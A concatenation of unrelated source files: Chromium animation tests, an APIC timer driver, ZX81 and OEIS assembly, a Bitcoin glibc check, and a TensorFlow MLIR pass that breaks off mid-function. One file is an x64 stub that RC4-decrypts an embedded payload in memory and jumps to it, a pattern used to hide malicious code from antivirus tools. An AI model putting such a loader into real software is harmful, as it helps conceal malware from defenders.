EXPECT_EQ(.75f, view.opacity());
EXPECT_EQ(2u, runner_observer_.changes()->size());
EXPECT_EQ("interrupted", runner_observer_.changes()->at(0));
EXPECT_EQ(animation_id, runner_observer_.change_ids()->at(0));
EXPECT_EQ("scheduled", runner_observer_.changes()->at(1));
EXPECT_EQ(animation2_id, runner_observer_.change_ids()->at(1));
runner_observer_.clear_changes();
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(1000));
EXPECT_EQ(.625f, view.opacity());
EXPECT_TRUE(runner_observer_.changes()->empty());
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(2000));
EXPECT_EQ(.5f, view.opacity());
EXPECT_EQ(1u, runner_observer_.changes()->size());
EXPECT_EQ("done", runner_observer_.changes()->at(0));
EXPECT_EQ(animation2_id, runner_observer_.change_ids()->at(0));
}
// Verifies Remove() works.
TEST_F(AnimationRunnerTest, CancelAnimationForView) {
// Create an animation and advance it part way.
TestServerViewDelegate view_delegate;
ServerView view(&view_delegate, ViewId());
AnimationGroup group;
InitGroupForView(&group, view.id(), 1);
AddOpacityElement(&group, TimeDelta::FromMicroseconds(1000),
AnimationValuePtr(), FloatAnimationValue(.5));
const uint32_t animation_id =
ScheduleForSingleView(&view, &group, initial_time_);
runner_observer_.clear_changes();
EXPECT_EQ(&view, GetSingleViewAnimating(animation_id));
EXPECT_TRUE(runner_.HasAnimations());
// Animate half way.
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(500));
EXPECT_EQ(.75f, view.opacity());
EXPECT_TRUE(runner_observer_.changes()->empty());
// Cancel the animation.
runner_.CancelAnimationForView(&view);
EXPECT_FALSE(runner_.HasAnimations());
EXPECT_EQ(nullptr, GetSingleViewAnimating(animation_id));
EXPECT_EQ(.75f, view.opacity());
EXPECT_EQ(1u, runner_observer_.changes()->size());
EXPECT_EQ("canceled", runner_observer_.changes()->at(0));
EXPECT_EQ(animation_id, runner_observer_.change_ids()->at(0));
}
// Verifies a tick with a very large delta and a sequence that repeats forever
// doesn't take a long time.
TEST_F(AnimationRunnerTest, InfiniteRepeatWithHugeGap) {
TestServerViewDelegate view_delegate;
ServerView view(&view_delegate, ViewId(1, 2));
view.SetOpacity(.5f);
AnimationGroup group;
InitGroupForView(&group, view.id(), 0);
AddOpacityElement(&group, TimeDelta::FromMicroseconds(500),
AnimationValuePtr(), FloatAnimationValue(1));
AddOpacityElement(&group, TimeDelta::FromMicroseconds(500),
AnimationValuePtr(), FloatAnimationValue(.5));
ScheduleForSingleView(&view, &group, initial_time_);
runner_observer_.clear_changes();
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(1000000000750));
EXPECT_EQ(.75f, view.opacity());
ASSERT_EQ(0u, runner_observer_.changes()->size());
}
// Verifies a second schedule sets any properties that are no longer animating
// to their final value.
TEST_F(AnimationRunnerTest, RescheduleSetsPropertiesToFinalValue) {
TestServerViewDelegate view_delegate;
ServerView view(&view_delegate, ViewId());
AnimationGroup group;
InitGroupForView(&group, view.id(), 1);
AddOpacityElement(&group, TimeDelta::FromMicroseconds(1000),
AnimationValuePtr(), FloatAnimationValue(.5));
gfx::Transform done_transform;
done_transform.Scale(2, 4);
AddTransformElement(&group, TimeDelta::FromMicroseconds(500),
AnimationValuePtr(),
TransformAnimationValue(done_transform));
ScheduleForSingleView(&view, &group, initial_time_);
// Schedule() again, this time without animating opacity.
group.sequences[0]->elements[0]->property = ANIMATION_PROPERTY_NONE;
ScheduleForSingleView(&view, &group, initial_time_);
// Opacity should go to final value.
EXPECT_EQ(.5f, view.opacity());
// Transform shouldn't have changed since newly scheduled animation also has
// transform in it.
EXPECT_TRUE(view.transform().IsIdentity());
}
// Opacity from 1 to .5 over 1000 of v1 and v2 transform to 2x,4x over 500.
TEST_F(AnimationRunnerTest, TwoViews) {
TestServerViewDelegate view_delegate;
ServerView view1(&view_delegate, ViewId());
ServerView view2(&view_delegate, ViewId(1, 2));
AnimationGroup group1;
InitGroupForView(&group1, view1.id(), 1);
AddOpacityElement(&group1, TimeDelta::FromMicroseconds(1000),
AnimationValuePtr(), FloatAnimationValue(.5));
AnimationGroup group2;
InitGroupForView(&group2, view2.id(), 1);
gfx::Transform done_transform;
done_transform.Scale(2, 4);
AddTransformElement(&group2, TimeDelta::FromMicroseconds(500),
AnimationValuePtr(),
TransformAnimationValue(done_transform));
std::vector<AnimationRunner::ViewAndAnimationPair> pairs;
pairs.push_back(std::make_pair(&view1, &group1));
pairs.push_back(std::make_pair(&view2, &group2));
const uint32_t animation_id = runner_.Schedule(pairs, initial_time_);
ASSERT_EQ(1u, runner_observer_.changes()->size());
EXPECT_EQ("scheduled", runner_observer_.changes()->at(0));
EXPECT_EQ(animation_id, runner_observer_.change_ids()->at(0));
runner_observer_.clear_changes();
EXPECT_TRUE(runner_.HasAnimations());
EXPECT_TRUE(runner_.IsAnimating(animation_id));
// Properties should be at the initial value.
EXPECT_EQ(1.f, view1.opacity());
EXPECT_TRUE(view2.transform().IsIdentity());
// Animate 250ms in, which is quarter way for opacity and half way for
// transform.
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(250));
EXPECT_EQ(.875f, view1.opacity());
gfx::Transform half_way_transform;
half_way_transform.Scale(1.5, 2.5);
EXPECT_EQ(half_way_transform, view2.transform());
std::set<ServerView*> views_animating(
runner_.GetViewsAnimating(animation_id));
EXPECT_EQ(2u, views_animating.size());
EXPECT_EQ(1u, views_animating.count(&view1));
EXPECT_EQ(1u, views_animating.count(&view2));
// Animate 750ms in, view1 should be done 3/4 done, and view2 done.
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(750));
EXPECT_EQ(.625, view1.opacity());
EXPECT_EQ(done_transform, view2.transform());
views_animating = runner_.GetViewsAnimating(animation_id);
EXPECT_EQ(1u, views_animating.size());
EXPECT_EQ(1u, views_animating.count(&view1));
EXPECT_TRUE(runner_.HasAnimations());
EXPECT_TRUE(runner_.IsAnimating(animation_id));
// Animate to end.
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(1750));
EXPECT_EQ(.5, view1.opacity());
EXPECT_EQ(done_transform, view2.transform());
views_animating = runner_.GetViewsAnimating(animation_id);
EXPECT_TRUE(views_animating.empty());
EXPECT_FALSE(runner_.HasAnimations());
EXPECT_FALSE(runner_.IsAnimating(animation_id));
}
TEST_F(AnimationRunnerTest, Reschedule) {
TestServerViewDelegate view_delegate;
ServerView view(&view_delegate, ViewId());
// Animation from 1-0 over 1ms and in parallel transform to 2x,4x over 1ms.
AnimationGroup group;
InitGroupForView(&group, view.id(), 1);
AddOpacityElement(&group, TimeDelta::FromMicroseconds(1000),
AnimationValuePtr(), FloatAnimationValue(0));
group.sequences.push_back(AnimationSequence::New());
group.sequences[1]->cycle_count = 1;
gfx::Transform done_transform;
done_transform.Scale(2, 4);
AddTransformElement(&group, TimeDelta::FromMicroseconds(1000),
AnimationValuePtr(),
TransformAnimationValue(done_transform));
const uint32_t animation_id1 =
ScheduleForSingleView(&view, &group, initial_time_);
// Animate half way in.
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(500));
EXPECT_EQ(.5f, view.opacity());
gfx::Transform half_way_transform;
half_way_transform.Scale(1.5, 2.5);
EXPECT_EQ(half_way_transform, view.transform());
runner_observer_.clear_changes();
// Schedule the same view animating opacity to 1.
AnimationGroup group2;
InitGroupForView(&group2, view.id(), 1);
AddOpacityElement(&group2, TimeDelta::FromMicroseconds(1000),
AnimationValuePtr(), FloatAnimationValue(1));
const uint32_t animation_id2 = ScheduleForSingleView(
&view, &group2, initial_time_ + TimeDelta::FromMicroseconds(500));
// Opacity should remain at .5, but transform should go to end state.
EXPECT_EQ(.5f, view.opacity());
EXPECT_EQ(done_transform, view.transform());
ASSERT_EQ(2u, runner_observer_.changes()->size());
EXPECT_EQ("interrupted", runner_observer_.changes()->at(0));
EXPECT_EQ(animation_id1, runner_observer_.change_ids()->at(0));
EXPECT_EQ("scheduled", runner_observer_.changes()->at(1));
EXPECT_EQ(animation_id2, runner_observer_.change_ids()->at(1));
runner_observer_.clear_changes();
// Animate half way through new sequence. Opacity should be the only thing
// changing.
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(1000));
EXPECT_EQ(.75f, view.opacity());
EXPECT_EQ(done_transform, view.transform());
ASSERT_EQ(0u, runner_observer_.changes()->size());
// Animate to end.
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(2000));
ASSERT_EQ(1u, runner_observer_.changes()->size());
EXPECT_EQ("done", runner_observer_.changes()->at(0));
EXPECT_EQ(animation_id2, runner_observer_.change_ids()->at(0));
}
} // namespace view_manager
|
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <stdlib.h>
// This code is inspired from the book "Guide to Scientific Computing in C++" by Fancis and Whiteley
using namespace std;
double CalculateMinimum (double a, double b);
int main (int argc, char* argv[])
{
double x, y;
cout << "Please enter the first number here: ";
cin >> x;
cout << "The first number you have entered is " << x << endl;
cout << "Please enter the second number here: ";
cin >> y;
cout << "The second number you have entered is " << y << endl;
double minimum_value = CalculateMinimum (x, y);
std::cout << "The minimum value of " << x << " and " << y
<< " is " << minimum_value << "\n"<< "\a";
return 0;
}
double CalculateMinimum(double a, double b)
{
double minimum;
if (a < b)
{
minimum = a;
}
else
{
//a >= b
minimum = b;
}
return minimum;
}
|
;----------------------------------------------------------------------------- ;
; Authors: Michael Schierl, Ege Balcı
; Version: 1.0 (01 December 2018)
;----------------------------------------------------------------------------- ;
[BITS 64]
; Input: EBP - Data to decode
; ESI - key
; ECX - Data size
; EDI - Scratch place for S-box
; Direction flag has to be cleared
; Output: None. Data is decoded in place.
; Clobbers: EAX, EBX, ECX, EDX, EBP
cld
call start
payload:
incbin "payload.enc"
payload_size: equ $-payload
key:
incbin "payload.key"
key_size: equ $-key
; Initialize S-box
start:
pop rbp ; Pop out the address of payload to ebp
lea rsi,[rbp+payload_size]; Load the address of key to esi
mov rcx,payload_size ; Move the size of the amber payload to ecx
mov rdi,rsp ; Set the address of stack as scratch box
xor rax, rax ; Start with 0
init:
stosb ; Store next SBox byte S[i] = i
inc al ; Increase byte to write (EDI is increased automatically)
jnz init ; Loop until we wrap around
sub rdi, 0x100 ; Restore EDI
; Permute S-box according to key
xor rbx, rbx ; Clear EBX (EAX is already cleared)
permute:
add bl,[rdi+rax] ; BL += S[AL] + KEY[AL % sizeof(key)]
mov rdx,rax ;
and dl,key_size-1 ; dl & sizeof(key)
add bl,[rsi+rdx] ; Move next byte of key to bl
mov dl,[rdi+rax] ; swap S[AL] and S[BL]
xchg dl,[rdi+rbx] ; ..
mov [rdi+rax], dl ; ..
inc al ; AL += 1 until we wrap around
jnz permute ;
; Decryption loop
xor rbx, rbx ; Clear EBX (EAX is already cleared)
decrypt:
inc al ; AL += 1
add bl,[rdi+rax] ; BL += S[AL]
mov dl,[rdi+rax] ; swap S[AL] and S[BL]
xchg dl,[rdi+rbx] ;
mov [rdi+rax], dl ;
add dl,[rdi+rbx] ; DL = S[AL]+S[BL]
mov dl,[rdi+rdx] ; DL = S[DL]
xor [rbp],dl ; [EBP] ^= DL
inc rbp ; Advance data pointer
dec rcx ; Reduce counter
jnz decrypt ; Until finished
jmp payload
|
#include "LocalApicTimer.h"
#include "pit.h"
#include "irq/Apic.h"
#include "irq/ApicRegs.h"
#include <arch/spinlock.h>
#include <log.h>
using namespace platform::timer;
/**
* Since we have only one PIT, but multiple APICs (if there's many cores) we need to be sure that
* only one core is using it to calculate the APIC tick frequency at a time.
*/
DECLARE_SPINLOCK_S(gPitLock);
/**
* Initializes the local APIC timer.
*/
LocalApicTimer::LocalApicTimer(irq::Apic *parent) : apic(parent) {
// calculate timer frequency
this->measureTimerFreq();
}
/**
* Attempts to determine the clock frequency of the core-local APIC timer. We do this by using the
* timer in 16x divide mode, as an upcounter, comparing it against a measured 10ms on the PIT
* that we know the system has.
*
* This should only be used if we can't determine the frequency by other means, e.g. ACPI tables or
* relevant CPUID leaves.
*/
void LocalApicTimer::measureTimerFreq() {
float actualMicros = 0;
// prepare the timer to use a 16x divider
this->apic->write(kApicRegTimerDivide, 0b0011);
// configure PIT
SPIN_LOCK_GUARD(gPitLock);
actualMicros = timer::LegacyPIT::configBusyWait(10000);
// start APIC timer, wait on PIT to elapse 10ms
this->apic->write(kApicRegTimerInitial, 0xFFFFFFFF); // initial counter is -1
timer::LegacyPIT::busyWait();
// stop APIC timer and read out its tick value
const auto currentTimer = this->apic->read(kApicRegTimerCurrent);
this->apic->write(kApicRegTimerInitial, 0);
const auto ticksPerTime = 0xFFFFFFFF - currentTimer;
// calculate the time a tick takes
const double nsPerTick = (actualMicros * 1000.) / ((double) ticksPerTime);
const double nsPerClock = nsPerTick / 16.;
this->freq = (1000. / nsPerClock) * 1000.;
//log("APIC timer value: %08lx %08lx ticks, %g ns per tick", currentTimer, ticksPerTime, nsPerTick);
}
/**
* Configures the interval at which this timer generates interrupts.
*
* @return The actually achieved interval.
*/
const float LocalApicTimer::setInterval(const float usecs) {
// TODO: dynamically change divisor?
const auto divisor = 16.;
const double nsPerTick = (1. / (this->freq * 1000.)) * 1000. * 1000. * 1000.;
const auto ticks = ((usecs * 1000.) / (nsPerTick * divisor));
// log("ns per tick %g, %g ticks", nsPerTick, ticks);
// mask existing timer interrupt
auto lvt = this->apic->read(kApicRegLvtTimer);
lvt |= (1 << 16);
lvt &= ~(0b11 << 17);
lvt |= (0b01 << 17);
this->apic->write(kApicRegLvtTimer, lvt);
// write the timer configuration
this->apic->write(kApicRegTimerDivide, 0b0011); // divide by 16
this->apic->write(kApicRegTimerInitial, ticks);
this->ticksForInterval = ticks;
// unmask timer interrupt
uint32_t lvtValue = kTimerVector;
lvtValue |= (0b01 << 17);
this->apic->write(kApicRegLvtTimer, lvtValue);
// return what we've actually achieved
this->intervalNs = (ticks * nsPerTick * divisor);
return (ticks * nsPerTick * divisor) / 1000.;
}
/**
* Reads out the current value and determines how many ticks remain.
*/
const uint64_t LocalApicTimer::ticksRemaining() {
const auto current = this->apic->read(kApicRegTimerCurrent);
return current;
}
/**
* Returns the number of nanoseconds since the start of the tick.
*/
const uint64_t LocalApicTimer::nsInTick() {
const auto current = this->apic->read(kApicRegTimerCurrent);
const auto elapsed = this->ticksForInterval - current;
return (elapsed * (this->intervalNs / this->ticksForInterval));
}
|
;
; ZX81 libraries
;
;--------------------------------------------------------------
; This code comes from the 'HRG_Tool'
; by Matthias Swatosch
; Original function name: "HRG_Tool_TXTcopy"
;--------------------------------------------------------------
;
; $Id: copytxt_arx.asm,v 1.2 2011/11/16 09:43:09 stefano Exp $
;
;----------------------------------------------------------------
;
; HRG_Tool_TXTcopy
; hl = pointer to display array
;
; copies the textscreen (DFILE) into HRG
;
;----------------------------------------------------------------
XLIB copytxt
XREF base_graphics
copytxt:
ld (ovmode),hl
ld hl,(base_graphics)
ld de,($400C) ; D_FILE
inc de
IF FORzx81hrg64
ld b,8
ELSE
ld b,24
ENDIF
ld c,0
HRG_TXTcopyLoop:
ld a,(de)
or a
jr z,HRG_TXTcopyNextChar
cp 118
jr z,HRG_TXTcopyNextLine
push hl ; HL points to byte in HRG
push de ; A is character
push bc
cp $40 ; inverse?
push af
ld de,$1e00 ; start of characters in ROM
ld b,0
and $3f
ld c,a
or a
rl c ; multiply BC by 8
rl b
rl c
rl b
rl c
rl b
ex de,hl
add hl,bc
ex de,hl ; now DE is pointer to pixel code
ld c,$00 ; C stores invers character information
pop af ; inverse?
jr c,HRG_TXTcopyNormal
dec c ; if inverse character then C is $ff
HRG_TXTcopyNormal:
ld b,8 ; counter
HRG_TXTcopyLoop2:
ld a,(de)
xor c
ovmode: nop
nop
;or (hl) ; plot the character to HRG
ld (hl),a
; push bc
; ld bc,32
; add hl,bc
; pop bc
inc hl
inc de
djnz HRG_TXTcopyLoop2
pop bc
pop de
pop hl
HRG_TXTcopyNextChar:
inc de
push bc
ld bc,8
add hl,bc
pop bc
;inc hl
jr HRG_TXTcopyLoop
HRG_TXTcopyNextLine:
inc c
inc de
ld hl,(base_graphics)
push bc
ld b,c
ld c,0
add hl,bc
pop bc
djnz HRG_TXTcopyLoop
ret
|
; A175677: Binomial(n,4) mod n.
; 0,0,0,1,0,3,0,6,0,0,0,3,0,7,0,12,0,0,0,5,0,11,0,18,0,0,0,7,0,15,0,24,0,0,0,9,0,19,0,30,0,0,0,11,0,23,0,36,0,0,0,13,0,27,0,42,0,0,0,15,0,31,0,48,0,0,0,17,0,35,0,54,0,0,0,19,0,39,0,60,0,0,0,21,0,43,0,66,0,0,0,23,0
add $0,1
gcd $1,$0
bin $1,4
mod $1,$0
mov $0,$1
|
#include "DetectorDescription/Core/interface/DDAxes.h"
#include <utility>
AxesNames::AxesNames()
: axesmap_{{"x", DDAxes::x},
{"y", DDAxes::y},
{"z", DDAxes::z},
{"rho", DDAxes::rho},
{"radial3D", DDAxes::radial3D},
{"phi", DDAxes::phi},
{"undefined", DDAxes::undefined}} {}
AxesNames::~AxesNames() {}
const std::string AxesNames::name(const DDAxes& s) {
for (const auto& it : axesmap_) {
if (it.second == s)
return it.first;
}
return "undefined";
}
const std::string DDAxesNames::name(const DDAxes& s) { return instance().name(s); }
|
; A247014: Number of binary centrosymmetric matrices of size n X n.
; 1,2,4,32,256,8192,262144,33554432,4294967296,2199023255552,1125899906842624,2305843009213693952,4722366482869645213696,38685626227668133590597632,316912650057057350374175801344,10384593717069655257060992658440192,340282366920938463463374607431768211456,44601490397061246283071436545296723011960832,5846006549323611672814739330865132078623730171904,3064991081731777716716694054300618367237478244367204352,1606938044258990275541962092341162602522202993782792835301376
pow $0,2
lpb $0
sub $0,1
trn $0,1
add $1,2
mul $1,2
lpe
div $1,4
add $1,1
mov $0,$1
|
; A045944: Rhombic matchstick numbers: a(n) = n*(3*n+2).
; 0,5,16,33,56,85,120,161,208,261,320,385,456,533,616,705,800,901,1008,1121,1240,1365,1496,1633,1776,1925,2080,2241,2408,2581,2760,2945,3136,3333,3536,3745,3960,4181,4408,4641,4880,5125,5376,5633,5896,6165,6440,6721,7008,7301,7600,7905,8216,8533,8856,9185,9520,9861,10208,10561,10920,11285,11656,12033,12416,12805,13200,13601,14008,14421,14840,15265,15696,16133,16576,17025,17480,17941,18408,18881,19360,19845,20336,20833,21336,21845,22360,22881,23408,23941,24480,25025,25576,26133,26696,27265,27840
mov $1,3
mul $1,$0
add $1,2
mul $1,$0
mov $0,$1
|
// Copyright (c) 2009-2014 The Bitcoin developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#if defined(HAVE_CONFIG_H)
#include "config/mtucicoin-config.h"
#endif
#include <cstddef>
#if defined(HAVE_SYS_SELECT_H)
#include <sys/select.h>
#endif
extern "C" void* memcpy(void* a, const void* b, size_t c);
void* memcpy_int(void* a, const void* b, size_t c)
{
return memcpy(a, b, c);
}
namespace
{
// trigger: Use the memcpy_int wrapper which calls our internal memcpy.
// A direct call to memcpy may be optimized away by the compiler.
// test: Fill an array with a sequence of integers. memcpy to a new empty array.
// Verify that the arrays are equal. Use an odd size to decrease the odds of
// the call being optimized away.
template <unsigned int T>
bool sanity_test_memcpy()
{
unsigned int memcpy_test[T];
unsigned int memcpy_verify[T] = {};
for (unsigned int i = 0; i != T; ++i)
memcpy_test[i] = i;
memcpy_int(memcpy_verify, memcpy_test, sizeof(memcpy_test));
for (unsigned int i = 0; i != T; ++i) {
if (memcpy_verify[i] != i)
return false;
}
return true;
}
#if defined(HAVE_SYS_SELECT_H)
// trigger: Call FD_SET to trigger __fdelt_chk. FORTIFY_SOURCE must be defined
// as >0 and optimizations must be set to at least -O2.
// test: Add a file descriptor to an empty fd_set. Verify that it has been
// correctly added.
bool sanity_test_fdelt()
{
fd_set fds;
FD_ZERO(&fds);
FD_SET(0, &fds);
return FD_ISSET(0, &fds);
}
#endif
} // anon namespace
bool glibc_sanity_test()
{
#if defined(HAVE_SYS_SELECT_H)
if (!sanity_test_fdelt())
return false;
#endif
return sanity_test_memcpy<1025>();
}
|
; A297469: Solution (bb(n)) of the system of 3 complementary equations in Comments.
; 2,7,11,17,22,27,31,37,41,47,51,57,62,67,71,77,82,87,91,97,102,107,111,117,121,127,131,137,142,147,151,157,161,167,171,177,182,187,191,197,201,207,211,217,222,227,231,237,242,247,251,257,262,267,271,277,281,287,291,297,302,307,311,317,322,327,331,337,342,347,351,357,361,367,371,377,382,387,391,397,402,407,411,417,422,427,431,437,441,447,451,457,462,467,471,477,481,487,491,497,502,507,511,517,521,527,531,537,542,547,551,557,562,567,571,577,582,587,591,597,601,607,611,617,622,627,631,637,641,647,651,657,662,667,671,677,681,687,691,697,702,707,711,717,722,727,731,737,742,747,751,757,761,767,771,777,782,787,791,797,801,807,811,817,822,827,831,837,841,847,851,857,862,867,871,877,882,887,891,897,902,907,911,917,921,927,931,937,942,947,951,957,962,967,971,977,982,987,991,997,1001,1007,1011,1017,1022,1027,1031,1037,1042,1047,1051,1057,1062,1067,1071,1077,1081,1087,1091,1097,1102,1107,1111,1117,1121,1127,1131,1137,1142,1147,1151,1157,1161,1167,1171,1177,1182,1187,1191,1197,1202,1207,1211,1217,1222,1227,1231,1237,1241,1247
mov $3,256
gcd $3,$0
mod $3,3
mov $1,$3
sub $1,1
gcd $1,2
mov $2,$0
mul $2,5
add $1,$2
|
; A123565: a(n) is the number of positive integers k which are <= n and where k, k-1 and k+1 are each coprime to n.
; Submitted by Jon Maiga
; 1,0,0,0,2,0,4,0,0,0,8,0,10,0,0,0,14,0,16,0,0,0,20,0,10,0,0,0,26,0,28,0,0,0,8,0,34,0,0,0,38,0,40,0,0,0,44,0,28,0,0,0,50,0,16,0,0,0,56,0,58,0,0,0,20,0,64,0,0,0,68,0,70,0,0,0,32,0,76,0,0,0,80,0,28,0,0,0,86,0,40,0,0,0,32,0,94,0,0,0
add $0,1
mov $1,1
lpb $0
mov $3,$0
lpb $3
mov $4,$0
mov $6,$2
cmp $6,0
add $2,$6
mod $4,$2
cmp $4,0
cmp $4,0
mov $5,$2
add $2,1
cmp $5,1
max $4,$5
sub $3,$4
lpe
mov $5,1
lpb $0
dif $0,$2
mul $5,$2
lpe
dif $5,$2
mul $1,$5
trn $2,3
mul $1,$2
lpe
mov $0,$1
|
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include <memory>
#include <string>
#include <utility>
#include "llvm/ADT/ArrayRef.h"
#include "llvm/ADT/STLExtras.h"
#include "llvm/ADT/SetVector.h"
#include "llvm/ADT/SmallVector.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/Support/FormatVariadic.h"
#include "mlir/IR/Builders.h" // from @llvm-project
#include "mlir/IR/BuiltinOps.h" // from @llvm-project
#include "mlir/IR/MLIRContext.h" // from @llvm-project
#include "mlir/IR/Operation.h" // from @llvm-project
#include "mlir/IR/OperationSupport.h" // from @llvm-project
#include "mlir/IR/StandardTypes.h" // from @llvm-project
#include "mlir/IR/TypeRange.h" // from @llvm-project
#include "mlir/IR/Visitors.h" // from @llvm-project
#include "mlir/Pass/Pass.h" // from @llvm-project
#include "mlir/Pass/PassRegistry.h" // from @llvm-project
#include "mlir/Support/LogicalResult.h" // from @llvm-project
#include "mlir/Transforms/RegionUtils.h" // from @llvm-project
#include "tensorflow/compiler/mlir/tensorflow/ir/tf_device.h"
#include "tensorflow/compiler/mlir/tensorflow/ir/tf_ops.h"
#include "tensorflow/compiler/mlir/tensorflow/transforms/passes.h"
#include "tensorflow/compiler/mlir/tensorflow/utils/device_util.h"
#include "tensorflow/compiler/mlir/tensorflow/utils/tpu_rewrite_device_util.h"
namespace mlir {
namespace TFTPU {
namespace {
constexpr char kDeviceAttr[] = "device";
constexpr char kXlaOutsideCompilationAttr[] = "_xla_outside_compilation";
// Mapping for `_xla_outside_compilation` attribute to ops of a cluster.
using OutsideClusterMap =
llvm::SmallDenseMap<llvm::StringRef, llvm::SmallVector<Operation*, 8>, 8>;
// This pass extracts a CPU computation cluster with `_xla_outside_compilation`
// annotation from a TPU cluster. Each outside compilation cluster is moved to
// a parallel_execute region. The TPU cluster is also moved to a
// parallel_execute region. Communication ops between device and host are
// added to pass inputs/outputs to/from the outside compiled region.
//
// A simple example:
// "tf_device.cluster"() ( {
// "tf.A"()
// "tf.B"() {_xla_outside_compilation = "cluster1"}
// "tf.C"()
// tf_device.return
// }) {num_cores_per_replica = 1, topology = "", device_assignment = []}
//
// Would become the following ops (unimportant attribute, type are omitted):
// "tf_device.parallel_execute"() ( {
// "tf_device.launch"() ( {
// "tf.B()
// tf_device.return
// })
// tf_device.return
// }, {
// "tf_device.cluster"( {
// "tf.A"()
// "tf.C"()
// tf_device.return
// })
// tf_device.return
// })
struct TPUExtractOutsideCompilation
: public PassWrapper<TPUExtractOutsideCompilation,
OperationPass<ModuleOp>> {
void runOnOperation() override;
};
// Creates a tf._XlaSendFromHost or tf._XlaSendFromHostV2 op. If device ordinal
// is present, a tf._XlaSendFromHostV2 op is created instead.
Operation* CreateSendFromHostOp(OpBuilder& builder, Location loc,
ValueRange inputs, Value compilation_key,
Value device_ordinal,
llvm::StringRef communication_key) {
if (device_ordinal)
return builder.create<TF::_XlaSendFromHostV2Op>(
loc, inputs,
/*dynamic_key=*/compilation_key, device_ordinal,
builder.getStringAttr(communication_key));
return builder.create<TF::_XlaSendFromHostOp>(
loc, inputs,
/*dynamic_key=*/compilation_key, builder.getStringAttr(communication_key),
/*device_ordinal=*/builder.getI64IntegerAttr(0));
}
// Creates a tf._XlaRecvAtHost or tf._XlaRecvAtHostV2 op. If device ordinal is
// present, a tf._XlaRecvAtHostV2 op is created instead.
Operation* CreateRecvAtHostOp(OpBuilder& builder, Location loc,
TypeRange output_types, Value compilation_key,
Value device_ordinal,
llvm::StringRef communication_key) {
if (device_ordinal)
return builder.create<TF::_XlaRecvAtHostV2Op>(
loc, output_types, /*dynamic_key=*/compilation_key, device_ordinal,
builder.getStringAttr(communication_key));
return builder.create<TF::_XlaRecvAtHostOp>(
loc, output_types, /*dynamic_key=*/compilation_key,
builder.getStringAttr(communication_key),
/*device_ordinal=*/builder.getI64IntegerAttr(0));
}
// Holds information about control flow operations that wrap outside compiled
// op. Currently only tf.IfRegion and tf.WhileRegion ops are supported.
class ControlFlowStackInfo {
public:
enum ControlFlowBranchType { kIfThen, kIfElse, kWhileCond, kWhileBody };
explicit ControlFlowStackInfo(Operation* wrapping_op, Operation* nested_op)
: callsite_op_(wrapping_op) {
if (auto control_flow_op = llvm::dyn_cast<TF::IfRegionOp>(callsite_op_)) {
auto parent_region = nested_op->getParentRegion();
if (&control_flow_op.then_branch() == parent_region) {
type_ = ControlFlowBranchType::kIfThen;
} else {
type_ = ControlFlowBranchType::kIfElse;
}
} else if (auto control_flow_op =
llvm::dyn_cast<TF::WhileRegionOp>(callsite_op_)) {
auto parent_region = nested_op->getParentRegion();
if (&control_flow_op.cond() == parent_region) {
type_ = ControlFlowBranchType::kWhileCond;
} else {
type_ = ControlFlowBranchType::kWhileBody;
}
} else {
assert(false);
}
}
Value GetIfPredicateValue() {
auto if_op = llvm::cast<TF::IfRegionOp>(callsite_op_);
return if_op.cond();
}
ControlFlowBranchType GetBranchType() const { return type_; }
Operation* GetCallSiteOp() const { return callsite_op_; }
bool operator==(const ControlFlowStackInfo& other) const {
return type_ == other.type_ && callsite_op_ == other.callsite_op_;
}
private:
ControlFlowBranchType type_;
// `this` does not hold ownership of `callsite_op_`.
Operation* callsite_op_;
};
// Returns a list of ControlFlowStackInfo that represents a stack of control
// flow operations that wraps `op`.
llvm::SmallVector<ControlFlowStackInfo, 4> GetControlFlowStackForOp(
tf_device::ClusterOp tpu_cluster, Operation* op) {
assert(tpu_cluster.getOperation()->isProperAncestor(op));
llvm::SmallVector<ControlFlowStackInfo, 4> controlflow_stack;
Operation* op_in_stack = op;
while (op_in_stack != tpu_cluster.getOperation()) {
auto parent_op = op_in_stack->getParentOp();
if (llvm::isa<TF::IfRegionOp, TF::WhileRegionOp>(parent_op)) {
controlflow_stack.insert(controlflow_stack.begin(),
ControlFlowStackInfo(parent_op, op_in_stack));
}
op_in_stack = parent_op;
}
return controlflow_stack;
}
// Creates a IfRegionOp with `predicate` and then/else region with yield op and
// an empty block.
TF::IfRegionOp CloneEmptyIfWithPredicate(Value predicate, bool is_stateless,
Location loc, OpBuilder& builder) {
auto host_side_if = builder.create<TF::IfRegionOp>(
loc, llvm::SmallVector<Type, 4>{}, predicate, is_stateless);
// Create empty then branch region.
auto& then_branch = host_side_if.then_branch();
then_branch.push_back(new Block);
builder.setInsertionPointToEnd(&then_branch.front());
builder.create<TF::YieldOp>(loc, /*operands=*/ArrayRef<Value>{});
// Create empty else branch region.
auto& else_branch = host_side_if.else_branch();
else_branch.push_back(new Block);
builder.setInsertionPointToEnd(&else_branch.front());
builder.create<TF::YieldOp>(loc, /*operands=*/ArrayRef<Value>{});
return host_side_if;
}
// Replicates tf.IfRegion op to host side computation.
Operation* ReplicateIf(const ControlFlowStackInfo& controlflow_info,
llvm::StringRef outside_cluster_name,
Value compilation_key, Value device_ordinal,
OpBuilder& builder, int* send_recv_counter) {
// Create XlaSendToHostOp to send predicate value from device to host.
OpBuilder::InsertPoint insert_point = builder.saveInsertionPoint();
auto if_callsite_op =
llvm::cast<TF::IfRegionOp>(controlflow_info.GetCallSiteOp());
builder.setInsertionPoint(if_callsite_op);
